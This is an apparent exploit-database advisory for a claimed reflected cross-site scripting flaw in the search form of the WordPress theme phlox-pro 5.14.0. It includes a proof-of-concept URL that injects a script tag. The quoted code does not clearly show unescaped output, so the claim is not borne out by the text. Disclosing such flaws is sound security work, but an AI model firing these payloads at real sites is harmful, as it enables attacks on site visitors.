# Exploit Title: WordPress Theme phlox-pro 5.14.0 - 'searchform' Cross-Site Scripting (XSS)
# Date: 3/12/2023   
# Exploit Author: Haktrak Team
# Vendor Homepage: https://phlox.pro
# Software Link: https://www.phlox.pro/go/
# Version: 5.14.0
# Tested on: Linux[apache]/wordrepss 6.3.1


Description:

A Cross Site Scripting (XSS) vulnerability exists in WordPress Theme phlox-pro

Vulnerable Code:


<form method="get" id="searchform" class="searchform" action="<?php echo esc_url( home_url( '/' ) ); ?>">

    <input type="text" class="field" name="s" id="s" placeholder="<?php esc_attr_e( 'Search Here', 'phlox-pro'); ?>" value="<?php the_search_query(); ?>" />
  




Steps to exploit:
1) Go to searchform
2) Insert your payload in the "search"

Proof of concept (Poc):
The following payload will allow you to run the javascript -
https://example.com/?s=ok&%27><script>alert(%27XSS%27)</script>123=1